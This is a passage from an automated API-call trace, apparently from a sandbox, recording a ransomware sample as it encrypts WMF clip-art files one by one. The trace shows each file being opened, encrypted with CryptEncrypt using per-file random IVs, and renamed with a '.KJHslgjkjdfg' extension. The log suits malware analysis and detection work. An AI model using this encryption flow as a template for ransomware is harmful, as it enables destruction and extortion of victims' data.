(HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.656] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.656] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.657] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.657] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.657] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.657] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.657] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.657] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1066, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1066, lpOverlapped=0x0) returned 1 [0204.658] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1070, dwBufLen=0x1070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1070) returned 1 [0204.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.658] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1070, lpOverlapped=0x0) returned 1 [0204.658] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.658] SetEndOfFile (hFile=0x130) returned 1 [0204.660] GetProcessHeap () returned 0x2ef0000 [0204.660] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.660] GetProcessHeap () returned 0x2ef0000 [0204.660] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.kjhslgjkjdfg")) returned 1 [0204.661] CloseHandle (hObject=0x130) returned 1 [0204.661] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0204.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.662] GetProcessHeap () returned 0x2ef0000 [0204.662] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.662] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.662] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.665] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.665] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.665] GetProcessHeap () returned 0x2ef0000 [0204.665] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.665] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.665] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.665] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.665] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.665] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.665] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.666] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x332a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x332a, lpOverlapped=0x0) returned 1 [0204.667] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3330, dwBufLen=0x3330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3330) returned 1 [0204.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.667] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3330, lpOverlapped=0x0) returned 1 [0204.667] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.667] SetEndOfFile (hFile=0x130) returned 1 [0204.668] GetProcessHeap () returned 0x2ef0000 [0204.668] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.668] GetProcessHeap () returned 0x2ef0000 [0204.668] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.668] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.kjhslgjkjdfg")) returned 1 [0204.669] CloseHandle (hObject=0x130) returned 1 [0204.669] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0204.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.670] GetProcessHeap () returned 0x2ef0000 [0204.670] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.670] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.670] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0204.671] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.672] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.672] GetProcessHeap () returned 0x2ef0000 [0204.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.672] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.672] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.672] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.672] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.672] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.672] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.672] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.672] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.672] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6bc2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6bc2, lpOverlapped=0x0) returned 1 [0204.674] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6bd0, dwBufLen=0x6bd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6bd0) returned 1 [0204.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.674] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6bd0, lpOverlapped=0x0) returned 1 [0204.674] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.675] SetEndOfFile (hFile=0x130) returned 1 [0204.676] GetProcessHeap () returned 0x2ef0000 [0204.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.676] GetProcessHeap () returned 0x2ef0000 [0204.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.kjhslgjkjdfg")) returned 1 [0204.678] CloseHandle (hObject=0x130) returned 1 [0204.678] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0204.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.680] GetProcessHeap () returned 0x2ef0000 [0204.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.680] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.680] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.682] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.682] GetProcessHeap () returned 0x2ef0000 [0204.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.682] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.682] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.682] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.683] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.683] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.683] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.683] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa086, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa086, lpOverlapped=0x0) returned 1 [0204.684] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa090, dwBufLen=0xa090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa090) returned 1 [0204.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.685] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa090, lpOverlapped=0x0) returned 1 [0204.685] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.685] SetEndOfFile (hFile=0x130) returned 1 [0204.687] GetProcessHeap () returned 0x2ef0000 [0204.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.688] GetProcessHeap () returned 0x2ef0000 [0204.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.kjhslgjkjdfg")) returned 1 [0204.689] CloseHandle (hObject=0x130) returned 1 [0204.689] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0204.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.690] GetProcessHeap () returned 0x2ef0000 [0204.690] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.690] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.692] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.692] GetProcessHeap () returned 0x2ef0000 [0204.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.692] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.692] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.692] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.692] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 